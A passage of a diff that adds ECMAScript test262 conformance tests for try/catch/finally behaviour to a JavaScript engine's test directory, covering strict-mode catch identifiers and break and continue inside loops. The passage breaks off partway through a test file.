diff --git a/js/src/tests/test262/ch12/12.14/12.14.1/12.14.1-5-s.js b/js/src/tests/test262/ch12/12.14/12.14.1/12.14.1-5-s.js
new file mode 100644
index 000000000..84e85593a
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/12.14.1/12.14.1-5-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.14/12.14.1/12.14.1-5-s.js
+ * @description Strict Mode - SyntaxError isn't thrown if a TryStatement with a Catch occurs within strict code and the Identifier of the Catch production is Arguments
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ throw new Error("...");
+ return false;
+ } catch (Arguments) {
+ return Arguments instanceof Error;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.14/12.14.1/12.14.1-6-s.js b/js/src/tests/test262/ch12/12.14/12.14.1/12.14.1-6-s.js
new file mode 100644
index 000000000..edd8bb558
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/12.14.1/12.14.1-6-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.14/12.14.1/12.14.1-6-s.js
+ * @description Strict Mode - SyntaxError isn't thrown if a TryStatement with a Catch occurs within strict code and the Identifier of the Catch production is ARGUMENTS
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ throw new Error("...");
+ return false;
+ } catch (ARGUMENTS) {
+ return ARGUMENTS instanceof Error;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.14/12.14.1/browser.js b/js/src/tests/test262/ch12/12.14/12.14.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/12.14.1/browser.js
diff --git a/js/src/tests/test262/ch12/12.14/12.14.1/shell.js b/js/src/tests/test262/ch12/12.14/12.14.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/12.14.1/shell.js
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A1.js b/js/src/tests/test262/ch12/12.14/S12.14_A1.js
new file mode 100644
index 000000000..894376009
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A1.js
@@ -0,0 +1,52 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production TryStatement : try Block Catch is evaluated as follows: 2. If Result(1).type is not throw, return Result(1)
+ *
+ * @path ch12/12.14/S12.14_A1.js
+ * @description Executing TryStatement : try Block Catch. The statements doesn't cause actual exceptions
+ */
+
+// CHECK#1
+try {
+ var x=0;
+}
+catch (e) {
+ $ERROR('#1: If Result(1).type is not throw, return Result(1). Actual: 4 Return(Result(3))');
+}
+
+// CHECK#2
+var c1=0;
+try{
+ var x1=1;
+}
+finally
+{
+ c1=1;
+}
+if(x1!==1){
+ $ERROR('#2.1: "try" block must be evaluated. Actual: try Block has not been evaluated');
+}
+if (c1!==1){
+ $ERROR('#2.2: "finally" block must be evaluated. Actual: finally Block has not been evaluated');
+}
+
+// CHECK#3
+var c2=0;
+try{
+ var x2=1;
+}
+catch(e){
+ $ERROR('#3.1: If Result(1).type is not throw, return Result(1). Actual: 4 Return(Result(3))');
+}
+finally{
+ c2=1;
+}
+if(x2!==1){
+ $ERROR('#3.2: "try" block must be evaluated. Actual: try Block has not been evaluated');
+}
+if (c2!==1){
+ $ERROR('#3.3: "finally" block must be evaluated. Actual: finally Block has not been evaluated');
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A10_T1.js b/js/src/tests/test262/ch12/12.14/S12.14_A10_T1.js
new file mode 100644
index 000000000..c7a7c4651
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A10_T1.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Using "try" with "catch" or "finally" statement within/without a "while" statement
+ *
+ * @path ch12/12.14/S12.14_A10_T1.js
+ * @description Throwing exception while executing iteration statement placed into try Block
+ */
+
+// CHECK#1
+var i=0;
+try{
+while(i<10){
+ if(i===5) throw i;
+ i++;
+}
+}
+catch(e){
+ if(e!==5)$ERROR('#1: Exception === 5. Actual: Exception ==='+ e );
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A10_T2.js b/js/src/tests/test262/ch12/12.14/S12.14_A10_T2.js
new file mode 100644
index 000000000..1826b48a8
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A10_T2.js
@@ -0,0 +1,116 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Using "try" with "catch" or "finally" statement within/without a "while" statement
+ *
+ * @path ch12/12.14/S12.14_A10_T2.js
+ * @description Try statement inside loop, where use continue loop
+ */
+
+// CHECK#1
+var c1=0,fin=0;
+while(c1<2){
+ try{
+ c1+=1;
+ continue;
+ }
+ catch(er1){}
+ finally{
+ fin=1;
+ }
+ fin=-1;
+};
+if(fin!==1){
+ $ERROR('#1: "finally" block must be evaluated at "try{continue} catch finally" construction');
+}
+
+// CHECK#2
+var c2=0,fin2=0;
+while(c2<2){
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ c2+=1;
+ continue;
+ }
+ finally{
+ fin2=1;
+ }
+ fin2=-1;
+}
+if(fin2!==1){
+ $ERROR('#2: "finally" block must be evaluated at "try catch{continue} finally" construction');
+}
+
+// CHECK#3
+var c3=0,fin3=0;
+while(c3<2){
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ c3+=1;
+ }
+ finally{
+ fin3=1;
+ continue;
+ }
+ fin3=0;
+}
+if(fin3!==1){
+ $ERROR('#3: "finally" block must be evaluated at "try catch finally{continue}" construction');
+}
+
+// CHECK#4
+var c4=0,fin4=0;
+while(c4<2){
+ try{
+ c4+=1;
+ continue;
+ }
+ finally{
+ fin4=1;
+ }
+ fin4=-1;
+};
+if(fin4!==1){
+ $ERROR('#4: "finally" block must be evaluated at "try{continue} finally" construction');
+}
+
+// CHECK#5
+var c5=0;
+while(c5<2){
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ c5+=1;
+ continue;
+ }
+}
+if(c5!==2){
+ $ERROR('#5: "try catch{continue}" must work correctly');
+}
+
+// CHECK#6
+var c6=0,fin6=0;
+while(c6<2){
+ try{
+ c6+=1;
+ throw "ex1"
+ }
+ finally{
+ fin6=1;
+ continue;
+ }
+ fin6=-1;
+}
+if(fin6!==1){
+ $ERROR('#6.1: "finally" block must be evaluated');
+}
+if(c6!==2){
+ $ERROR('#6.2: "try finally{continue}" must work correctly');
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A10_T3.js b/js/src/tests/test262/ch12/12.14/S12.14_A10_T3.js
new file mode 100644
index 000000000..88e56168a
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A10_T3.js
@@ -0,0 +1,151 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Using "try" with "catch" or "finally" statement within/without a "while" statement
+ *
+ * @path ch12/12.14/S12.14_A10_T3.js
+ * @description Try statement inside loop, where use break
+ */
+
+// CHECK#1
+var c1=0,fin=0;
+while(c1<2){
+ try{
+ c1+=1;
+ break;
+ }
+ catch(er1){}
+ finally{
+ fin=1;
+ }
+ fin=-1;
+ c1+=2;
+}
+if(fin!==1){
+ $ERROR('#1.1: "finally" block must be evaluated');
+}
+if(c1!==1){
+ $ERROR('#1.2: "try{break}catch finally" must work correctly');
+}
+
+// CHECK#2
+var c2=0,fin2=0;
+while(c2<2){
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ c2+=1;
+ break;
+ }
+ finally{
+ fin2=1;
+ }
+ c2+=2;
+ fin2=-1;
+}
+if(fin2!==1){
+ $ERROR('#2.1: "finally" block must be evaluated');
+}
+if(c2!==1){
+ $ERROR('#2.2: "try catch{break} finally" must work correctly');
+}
+
+// CHECK#3
+var c3=0,fin3=0;
+while(c3<2){
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ c3+=1;
+ }
+ finally{
+ fin3=1;
+ break;
+ }
+ c3+=2;
+ fin3=0;
+}
+if(fin3!==1){
+ $ERROR('#3.1: "finally" block must be evaluated');
+}
+if(c3!==1){
+ $ERROR('#3.2: "try catch finally{break}" must work correctly');
+}
+
+// CHECK#4
+var c4=0,fin4=0;
+while(c4<2){
+ try{
+ c4+=1;
+ break;
+ }
+ finally{
+ fin4=1;
+ }
+ fin4=-1;
+ c4+=2;
+}
+if(fin4!==1){
+ $ERROR('#4.1: "finally" block must be evaluated');
+}
+if(c4!==1){
+ $ERROR('#4.2: "try{break} finally" must work correctly');
+}
+
+// CHECK#5
+var c5=0;
+while(c5<2){
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ break;
+ }
+}
+if(c5!==0){
+ $ERROR('#5: "try catch{break}" must work correctly');
+}
+
+// CHECK#6
+var c6=0;
+while(c6<2){
+ try{
+ c6+=1;
+ break;
+ }
+ catch(er1){}
+ c6+=2;
+}
+if(c6!==1){
+ $ERROR('#6: "try{break} catch" must work correctly');
+}
+
+// CHECK#7
+var c7=0,fin7=0;
+try{
+ while(c7<2){
+ try{
+ c7+=1;
+ throw "ex1";
+ }
+ finally{
+ fin7=1;
+ break;
+ }
+ fin7=-1;
+ c7+=2;
+ }
+}
+catch(ex1){
+ c7=10;
+}
+if(fin7!==1){
+ $ERROR('#7.1: "finally" block must be evaluated');
+}
+if(c7!==1){
+ $ERROR('#7.2: "try finally{break}" must work correctly');
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A10_T4.js b/js/src/tests/test262/ch12/12.14/S12.14_A10_T4.js
new file mode 100644
index 000000000..926e564d3
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A10_T4.js
@@ -0,0 +1,56 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Using "try" with "catch" or "finally" statement within/without a "while" statement
+ *
+ * @path ch12/12.14/S12.14_A10_T4.js
+ * @description Try statement inside loop, where combinate using break and continue
+ */
+
+// CHECK#1
+var c1=0,fin=0;
+while(c1<2){
+ try{
+ c1+=1;
+ break;
+ }
+ catch(er1){}
+ finally{
+ fin=1;
+ continue;
+ }
+ fin=-1;
+ c1+=2;
+}
+if(fin!==1){
+ $ERROR('#1.1: "finally" block must be evaluated');
+}
+if(c1!==2){
+ $ERROR('#1.2: "try{break} catch finally{continue}" must work correctly');
+}
+
+// CHECK#2
+var c2=0,fin2=0;
+while(c2<2){
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ c2+=1;
+ break;
+ }
+ finally{
+ fin2=1;
+ continue;
+ }
+ c2+=2;
+ fin2=-1;
+}
+if(fin2!==1){
+ $ERROR('#2.1: "finally" block must be evaluated');
+}
+if(c2!==2){
+ $ERROR('#2.2: "try catch{break} finally{continue} must work correctly');
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A10_T5.js b/js/src/tests/test262/ch12/12.14/S12.14_A10_T5.js
new file mode 100644
index 000000000..e840e9395
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A10_T5.js
@@ -0,0 +1,39 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Using "try" with "catch" or "finally" statement within/without a "while" statement
+ *
+ * @path ch12/12.14/S12.14_A10_T5.js
+ * @description Throw some exceptions from different place of loop body
+ */
+
+// CHECK#1
+var c=0, i=0;
+var fin=0;
+while(i<10){
+ i+=1;
+ try{
+ if(c===0){
+ throw "ex1";
+ $ERROR('#1.1: throw "ex1" lead to throwing exception');
+ }
+ c+=2;
+ if(c===1){
+ throw "ex2";
+ $ERROR('#1.2: throw "ex2" lead to throwing exception');
+ }
+ }
+ catch(er1){
+ c-=1;
+ continue;
+ $ERROR('#1.3: "try catch{continue} finally" must work correctly');
+ }
+ finally{
+ fin+=1;
+ }
+}
+if(fin!==10){
+ $ERROR('#1.4: "finally" block must be evaluated');
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A11_T1.js b/js/src/tests/test262/ch12/12.14/S12.14_A11_T1.js
new file mode 100644
index 000000000..41cfdb0a5
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A11_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Using "try" with "catch" or "finally" statement within/without a "for" statement
+ *
+ * @path ch12/12.14/S12.14_A11_T1.js
+ * @description Loop inside try Block, where throw exception
+ */
+
+// CHECK#1
+try{
+ for(var i=0;i<10;i++){
+ if(i===5) throw i;
+ }
+}
+catch(e){
+ if(e!==5)$ERROR('#1: Exception === 5. Actual: Exception ==='+ e );
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A11_T2.js b/js/src/tests/test262/ch12/12.14/S12.14_A11_T2.js
new file mode 100644
index 000000000..7453936fd
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A11_T2.js
@@ -0,0 +1,123 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Using "try" with "catch" or "finally" statement within/without a "for" statement
+ *
+ * @path ch12/12.14/S12.14_A11_T2.js
+ * @description Try statement inside loop, where use continue loop
+ */
+
+// CHECK#1
+var fin=0;
+for(var i=0;i<5;i++){
+ try{
+ i+=1;
+ continue;
+ }
+ catch(er1){}
+ finally{
+ fin=1;
+ }
+ fin=-1;
+}
+if(fin!==1){
+ $ERROR('#1: "finally" block must be evaluated at "try{continue} catch finally" construction');
+}
+
+// CHECK#2
+var c2=0,fin2=0;
+for(var i=0;i<5;i++){
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ c2+=1;
+ continue;
+ }
+ finally{
+ fin2=1;
+ }
+ fin2=-1;
+}
+if(fin2!==1){
+ $ERROR('#2.1: "finally" block must be evaluated');
+}
+if(c2!==5){
+ $ERROR('#2.1: "try catch{continue} finally" must work correctly');
+}
+
+// CHECK#3
+var c3=0,fin3=0;
+for(var i=0;i<5;i++){
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ c3+=1;
+ }
+ finally{
+ fin3=1;
+ continue;
+ }
+ fin3=0;
+}
+if(fin3!==1){
+ $ERROR('#3.1: "finally" block must be evaluated');
+}
+if(c3!==5){
+ $ERROR('#3.2: "try catch finally{continue}" must work correctly');
+}
+
+// CHECK#4
+var fin=0;
+for(var i=0;i<5;i++){
+ try{
+ i+=1;
+ continue;
+ }
+ finally{
+ fin=1;
+ }
+ fin=-1;
+};
+if(fin!==1){
+ $ERROR('#4: "finally" block must be evaluated at "try{continue} finally" construction');
+}
+
+// CHECK#5
+var c5=0;
+for(var c5=0;c5<10;){
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ c5+=1;
+ continue;
+ }
+ c5+=12;
+};
+if(c5!==10){
+ $ERROR('#5: "try catch{continue} must work correctly');
+}
+
+// CHECK#6
+var c6=0,fin6=0;
+for(var c6=0;c6<10;){
+ try{
+ c6+=1;
+ throw "ex1"
+ }
+ finally{
+ fin6=1;
+ continue;
+ }
+ fin6=-1;
+};
+if(fin6!==1){
+ $ERROR('#6.1: "finally" block must be evaluated');
+}
+if(c6!==10){
+ $ERROR('#6.2: "try finally{continue}" must work correctly');
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A11_T3.js b/js/src/tests/test262/ch12/12.14/S12.14_A11_T3.js
new file mode 100644
index 000000000..af9976a2d
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A11_T3.js
@@ -0,0 +1,150 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Using "try" with "catch" or "finally" statement within/without a "for" statement
+ *
+ * @path ch12/12.14/S12.14_A11_T3.js
+ * @description Try statement inside loop, where use break
+ */
+
+// CHECK#1
+var c1=0,fin=0;
+for(var i=0;i<5;i++){
+ try{
+ c1+=1;
+ break;
+ }
+ catch(er1){}
+ finally{
+ fin=1;
+ }
+ fin=-1;
+ c1+=2;
+};
+if(fin!==1){
+ $ERROR('#1.1: "finally" block must be evaluated');
+}
+if(c1!==1){
+ $ERROR('#1.2: "try{break}catch finally" must work correctly');
+}
+
+// CHECK#2
+var c2=0,fin2=0;
+for(var i=0;i<5;i++){
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ c2+=1;
+ break;
+ }
+ finally{
+ fin2=1;
+ }
+ c2+=2;
+ fin2=-1;
+};
+if(fin2!==1){
+ $ERROR('#2.1: "finally" block must be evaluated');
+}
+if(c2!==1){
+ $ERROR('#2.2: "try catch{break} finally" must work correctly');
+}
+
+// CHECK#3
+var c3=0,fin3=0;
+for(var i=0;i<5;i++){
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ c3+=1;
+ }
+ finally{
+ fin3=1;
+ break;
+ }
+ c3+=2;
+ fin3=0;
+};
+if(fin3!==1){
+ $ERROR('#3.1: "finally" block must be evaluated');
+}
+if(c3!==1){
+ $ERROR('#3.2: "try catch finally{break}" must work correctly');
+}
+
+// CHECK#4
+var c4=0,fin4=0;
+for(var i=0;i<5;i++){
+ try{
+ c4+=1;
+ break;
+ }
+ finally{
+ fin4=1;
+ }
+ fin4=-1;
+ c4+=2;
+};
+if(fin4!==1){
+ $ERROR('#4.1: "finally" block must be evaluated');
+}
+if(c4!==1){
+ $ERROR('#4.2: "try{break} finally" must work correctly');
+}
+
+// CHECK#5
+for(var i=0;i<5;i++){
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ break;
+ }
+};
+if(i!==0){
+ $ERROR('#5: "try catch{break}" must work correctly');
+}
+
+// CHECK#6
+var c6=0;
+for(var c6=0;c6<5;){
+ try{
+ c6+=1;
+ break;
+ }
+ catch(er1){}
+ c6+=2;
+};
+if(c6!==1){
+ $ERROR('#6: "try{break} catch" must work correctly');
+}
+
+// CHECK#7
+var c7=0,fin7=0;
+try{
+ for(var c7=0;c7<5;){
+ try{
+ c7+=1;
+ throw "ex1";
+ }
+ finally{
+ fin7=1;
+ break;
+ }
+ fin7=-1;
+ c7+=2;
+ }
+}
+catch(ex1){
+ c7=10;
+}
+if(fin7!==1){
+ $ERROR('#7.1: "finally" block must be evaluated');
+}
+if(c7!==1){
+ $ERROR('#7.2: "try finally{break}" must work correctly');
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A11_T4.js b/js/src/tests/test262/ch12/12.14/S12.14_A11_T4.js
new file mode 100644
index 000000000..6f4762beb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A11_T4.js
@@ -0,0 +1,56 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Using "try" with "catch" or "finally" statement within/without a "for" statement
+ *
+ * @path ch12/12.14/S12.14_A11_T4.js
+ * @description Try statement inside loop, where combinate using break and continue
+ */
+
+// CHECK#1
+var c1=0,fin=0;
+for(var i=0;i<5;i++){
+ try{
+ c1+=1;
+ break;
+ }
+ catch(er1){}
+ finally{
+ fin=1;
+ continue;
+ }
+ fin=-1;
+ c1+=2;
+}
+if(fin!==1){
+ $ERROR('#1.1: "finally" block must be evaluated');
+}
+if(c1!==5){
+ $ERROR('#1.2: "try{break} catch finally{continue}" must work correctly');
+}
+
+// CHECK#2
+var c2=0,fin2=0;
+for(var i=0;i<5;i++){
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ c2+=1;
+ break;
+ }
+ finally{
+ fin2=1;
+ continue;
+ }
+ c2+=2;
+ fin2=-1;
+}
+if(fin2!==1){
+ $ERROR('#2.1: "finally" block must be evaluated');
+}
+if(c2!==5){
+ $ERROR('#2.2: "try catch{break} finally{continue}" must work correctly');
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A12_T1.js b/js/src/tests/test262/ch12/12.14/S12.14_A12_T1.js
new file mode 100644
index 000000000..b6906b1b8
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A12_T1.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Using "try" with "catch" or "finally" statement within/without a "for-in" statement
+ *
+ * @path ch12/12.14/S12.14_A12_T1.js
+ * @description Loop inside try Block, where throw exception
+ */
+
+var x;
+var mycars = new Array();
+mycars[0] = "Saab";
+mycars[1] = "Volvo";
+mycars[2] = "BMW";
+
+// CHECK#1
+try{
+ for (x in mycars){
+ if (mycars[x]==="BMW") throw "ex";
+ }
+}
+catch(e){
+ if(e!=="ex")$ERROR('#1: Exception ==="ex". Actual: Exception ==='+ e );
+}
+
+
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A12_T2.js b/js/src/tests/test262/ch12/12.14/S12.14_A12_T2.js
new file mode 100644
index 000000000..6a6729962
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A12_T2.js
@@ -0,0 +1,132 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Using "try" with "catch" or "finally" statement within/without a "for-in" statement
+ *
+ * @path ch12/12.14/S12.14_A12_T2.js
+ * @description Try statement inside loop, where use continue loop
+ */
+
+var x;
+var mycars = new Array();
+mycars[0] = "Saab";
+mycars[1] = "Volvo";
+mycars[2] = "BMW";
+
+// CHECK#1
+var fin=0;
+var i=0;
+for (x in mycars){
+ try{
+ i+=1;
+ continue;
+ }
+ catch(er1){}
+ finally{
+ fin=1;
+ }
+ fin=-1;
+}
+if(fin!==1){
+ $ERROR('#1.1: "finally" block must be evaluated');
+}
+if(i!==3){
+ $ERROR('#1.2: "try{continue} catch finally" must work correctly');
+}
+
+// CHECK#2
+var c2=0,fin2=0;
+for (x in mycars){
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ c2+=1;
+ continue;
+ }
+ finally{
+ fin2=1;
+ }
+ fin2=-1;
+}
+if(fin2!==1){
+ $ERROR('#2.1: "finally" block must be evaluated');
+}
+if(c2!==3){
+ $ERROR('#2.1: "try catch{continue} finally" must work correctly');
+}
+
+// CHECK#3
+var c3=0,fin3=0;
+for (x in mycars){
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ c3+=1;
+ }
+ finally{
+ fin3=1;
+ continue;
+ }
+ fin3=0;
+}
+if(c3!==3){
+ $ERROR('#3.1: "finally" block must be evaluated');
+}
+if(fin3!==1){
+ $ERROR('#3.2: "try catch finally{continue}" must work correctly');
+}
+
+// CHECK#4
+var fin=0;
+for (x in mycars){
+ try{
+ continue;
+ }
+ finally{
+ fin=1;
+ }
+ fin=-1;
+}
+if(fin!==1){
+ $ERROR('#4: "finally" block must be evaluated at "try{continue} finally" construction');
+}
+
+// CHECK#5
+var c5=0;
+for (x in mycars){
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ c5+=1;
+ continue;
+ }
+ c5+=12;
+}
+if(c5!==3){
+ $ERROR('#5: "try catch{continue}" must work correctly');
+}
+
+// CHECK#6
+var c6=0,fin6=0;
+for (x in mycars){
+ try{
+ c6+=1;
+ throw "ex1";
+ }
+ finally{
+ fin6=1;
+ continue;
+ }
+ fin6=-1;
+}
+if(fin6!==1){
+ $ERROR('#6.1: "finally" block must be evaluated');
+}
+if(c6!==3){
+ $ERROR('#6.2: "try finally{continue}" must work correctly');
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A12_T3.js b/js/src/tests/test262/ch12/12.14/S12.14_A12_T3.js
new file mode 100644
index 000000000..d3b4cea0c
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A12_T3.js
@@ -0,0 +1,162 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Using "try" with "catch" or "finally" statement within/without a "for-in" statement
+ *
+ * @path ch12/12.14/S12.14_A12_T3.js
+ * @description Try statement inside loop, where use break
+ */
+
+var x;
+var mycars = new Array();
+mycars[0] = "Saab";
+mycars[1] = "Volvo";
+mycars[2] = "BMW";
+
+// CHECK#1
+var c1=0,fin=0;
+for (x in mycars){
+ try{
+ c1+=1;
+ break;
+ }
+ catch(er1){
+ c1+=1;
+ }
+ finally{
+ fin=1;
+ }
+ fin=-1;
+ c1+=2;
+};
+if(fin!==1){
+ $ERROR('#1.1: "finally" block must be evaluated');
+}
+if(c1!==1){
+ $ERROR('#1.2: "try{break}catch finally" must work correctly');
+}
+
+// CHECK#2
+var c2=0,fin2=0;
+for (x in mycars){
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ c2+=1;
+ break;
+ }
+ finally{
+ fin2=1;
+ }
+ c2+=2;
+ fin2=-1;
+}
+if(fin2!==1){
+ $ERROR('#2.1: "finally" block must be evaluated');
+}
+if(c2!==1){
+ $ERROR('#2.2: "try catch{break} finally" must work correctly');
+}
+
+// CHECK#3
+var c3=0,fin3=0;
+for (x in mycars){
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ c3+=1;
+ }
+ finally{
+ fin3=1;
+ break;
+ }
+ c3+=2;
+ fin3=0;
+}
+if(fin3!==1){
+ $ERROR('#3.1: "finally" block must be evaluated');
+}
+if(c3!==1){
+ $ERROR('#3.2: "try catch finally{break}" must work correctly');
+}
+
+// CHECK#4
+var c4=0,fin4=0;
+for (x in mycars){
+ try{
+ c4+=1;
+ break;
+ }
+ finally{
+ fin4=1;
+ }
+ fin4=-1;
+ c4+=2;
+}
+if(fin4!==1){
+ $ERROR('#4.1: "finally" block must be evaluated');
+}
+if(c4!==1){
+ $ERROR('#4.2: "try{break} finally" must work correctly');
+}
+
+// CHECK#5
+var c5=0;
+for (x in mycars){
+ try{
+ throw "ex1";
+ c5++;
+ }
+ catch(er1){
+ break;
+ c5++;
+ }
+ c5++;
+}
+if(c5!==0){
+ $ERROR('#5: "try catch{break}" must work correctly');
+}
+
+// CHECK#6
+var c6=0;
+for (x in mycars){
+ try{
+ c6+=1;
+ break;
+ }
+ catch(er1){}
+ c6+=2;
+}
+if(c6!==1){
+ $ERROR('#6: "try{break} catch" must work correctly');
+}
+
+// CHECK#7
+var c7=0,fin7=0;
+try{
+ for (x in mycars){
+ try{
+ c7+=1;
+ throw "ex1";
+ }
+ finally{
+ fin7=1;
+ break;
+ }
+ fin7=-1;
+ c7+=2;
+ }
+}
+catch(ex1){
+ c7=10;
+}
+if(fin7!==1){
+ $ERROR('#7.1: "finally" block must be evaluated');
+}
+if(c7!==1){
+ $ERROR('#7.2: "try finally{break}" must work correctly');
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A12_T4.js b/js/src/tests/test262/ch12/12.14/S12.14_A12_T4.js
new file mode 100644
index 000000000..c09b4e2e7
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A12_T4.js
@@ -0,0 +1,62 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Using "try" with "catch" or "finally" statement within/without a "for-in" statement
+ *
+ * @path ch12/12.14/S12.14_A12_T4.js
+ * @description Try statement inside loop, where combinate using break and continue
+ */
+
+var x;
+var mycars = new Array();
+mycars[0] = "Saab";
+mycars[1] = "Volvo";
+mycars[2] = "BMW";
+
+// CHECK#1
+var c1=0,fin=0;
+for (x in mycars){
+ try{
+ c1+=1;
+ break;
+ }
+ catch(er1){}
+ finally{
+ fin=1;
+ continue;
+ }
+ fin=-1;
+ c1+=2;
+}
+if(fin!==1){
+ $ERROR('#1.1: "finally" block must be evaluated');
+}
+if(c1!==3){
+ $ERROR('#1.2: "try{break} catch finally{continue}" must work correctly');
+}
+
+// CHECK#2
+var c2=0,fin2=0;
+for (x in mycars){
+ try{
+ throw "ex1";
+ }
+ catch(er1){
+ c2+=1;
+ break;
+ }
+ finally{
+ fin2=1;
+ continue;
+ }
+ c2+=2;
+ fin2=-1;
+}
+if(fin2!==1){
+ $ERROR('#2.1: "finally" block must be evaluated');
+}
+if(c2!==3){
+ $ERROR('#2.2: "try catch{break} finally{continue}" must work correctly');
+}
+
diff --git a/js/src/tests/test262/ch12/12.14/S12.14_A13_T1.js b/js/src/tests/test262/ch12/12.14/S12.14_A13_T1.js
new file mode 100644
index 000000000..ab3b79d4d
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.14/S12.14_A13_T1.js
@@ -0,0 +1,79 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Using "try" with "catch" or "finally" statement with a "return" statement
+ *
+ * @path ch12/12.14/S12.14_A13_T1.js
+ * @description Using try/catch syntax construction
+ */
+
+// CHECK#1
+function myFunction1(){
+ try{
+ return 1;
+ }
+ catch(err){
